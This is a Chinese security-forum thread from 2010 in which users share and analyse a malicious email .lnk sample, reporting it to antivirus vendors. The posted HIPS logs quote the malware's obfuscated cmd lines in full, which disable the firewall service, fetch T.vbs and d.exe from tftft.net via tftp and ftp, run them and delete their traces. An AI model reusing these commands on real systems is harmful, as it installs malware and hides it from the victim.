又来电邮lnk了。。

显示全部楼层 · 发表于 2010-1-16 15:24:45

to avira

显示全部楼层 · 发表于 2010-1-16 15:35:54

IK miss

2010-01-16 15:32:24 运行应用程序操作:允许
进程路径:C:\WINDOWS\Explorer.EXE
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c SeT j=T.NeT&SET y=tftF&SEt R=et T &eCHo tfTp %Y%%j% G%R%T.VbS>gg.bAT&eCho sTART t.VbS>>Gg.BAT&gg.BaT
触发规则:所有程序规则->*

2010-01-16 15:32:35 运行应用程序操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\tftp.exe
命令行:tftFT.NeT Get T T.VbS
触发规则:所有程序规则->*

下载脚本然后运行

显示全部楼层 · 发表于 2010-1-16 15:38:09

哪位能把t.vbs上传一下

显示全部楼层 · 发表于 2010-1-16 16:41:25

Pif.Download.based

显示全部楼层 · 发表于 2010-1-16 16:45:12

to Fortinet

显示全部楼层 · 发表于 2010-1-16 16:56:29

本帖最后由幸福的猪猪于 2010-1-16 17:05 编辑

t.vbs 打包。

样本上报卡巴斯基。

p.s.好像过沙盘(Sandbox)要是在指定的沙盘文件下运行，就被过了，要是用右键指定用沙盘运行，就过不了沙盘！。。。（幸好卡巴斯基主防拦截到T.VBS)

显示全部楼层 · 发表于 2010-1-16 18:14:12

程序：
C:\WINDOWS\D.EXE
木马程序生成以下文件：
1) C:\PROGRAM FILES\WINZIP\SETUP.EXE
2) C:\WINDOWS\SYSTEM32\RPPZG.EXE
是否删除木马程序及其衍生物?

显示全部楼层 · 发表于 2010-1-16 18:33:48

Files added: 1
--------------------
C:\Windows\gg.bAT

显示全部楼层 · 发表于 2010-1-16 18:36:06

T.vbs http://www.virustotal.com/analis ... 783a9218-1263637774

2010-01-16 18:21:05 运行应用程序    操作:允许
进程路径:C:\WINDOWS\Explorer.EXE
文件路径:C:\WINDOWS\System32\WScript.exe
命令行:"C:\Documents and Settings\Ray\桌面\T.VbS"
触发规则:所有程序规则->*

2010-01-16 18:21:16 运行应用程序    操作:允许
进程路径:C:\WINDOWS\System32\WScript.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c net stop sharedaccess&echo o tftft.net>n.txt&echo 11>>n.txt&echo 11>>n.txt&echo recv d d.exe>>n.txt&echo bye>>n.txt&ftp -s:n.txt&del n.txt&d.exe&attrib ?.vbs -r&del ? ?.exe ?.vbs ?.bat&start http://buy.yahoo.com.tw/
触发规则:所有程序规则->*

2010-01-16 18:21:21 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\net.exe
命令行:stop sharedaccess
触发规则:所有程序规则->*

2010-01-16 18:21:21 运行应用程序    操作:允许(自动创建规则)
进程路径:C:\WINDOWS\system32\net.exe
文件路径:C:\WINDOWS\system32\net1.exe
命令行:stop sharedaccess

2010-01-16 18:21:28 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\ftp.exe
命令行:-s:n.txt
触发规则:所有程序规则->*

2010-01-16 18:21:44 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\attrib.exe
命令行:?.vbs -r
触发规则:所有程序规则->*

2010-01-16 18:21:52 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Program Files\Internet Explorer\iexplore.exe
命令行: -nohome
触发规则:所有程序规则->*

2010-01-16 18:21:53 运行应用程序    操作:允许(自动创建规则)
进程路径:C:\Program Files\Internet Explorer\iexplore.exe
文件路径:C:\Program Files\Internet Explorer\Connection Wizard\ICWCONN1.EXE
命令行:/shellnext http://buy.yahoo.com.tw/

2010-01-16 18:22:04 运行应用程序    操作:允许
进程路径:C:\Program Files\Internet Explorer\Connection Wizard\ICWCONN1.EXE
文件路径:C:\WINDOWS\system32\rundll32.exe
命令行:C:\WINDOWS\system32\netshell.dll StartNCW 0,http://buy.yahoo.com.tw/,
触发规则:所有程序规则->*

我来解释一下调用tfp.exe登录tftf.net
下载d.exe
修改主页

o tftft.net
11（用户名）
11（密码）
recv d d.exe
bye

完成后删除自己

显示全部楼层 · 发表于 2010-1-16 19:22:26

to mcafee

[病毒样本] 又来电邮lnk了。。

本帖子中包含更多资源

本帖子中包含更多资源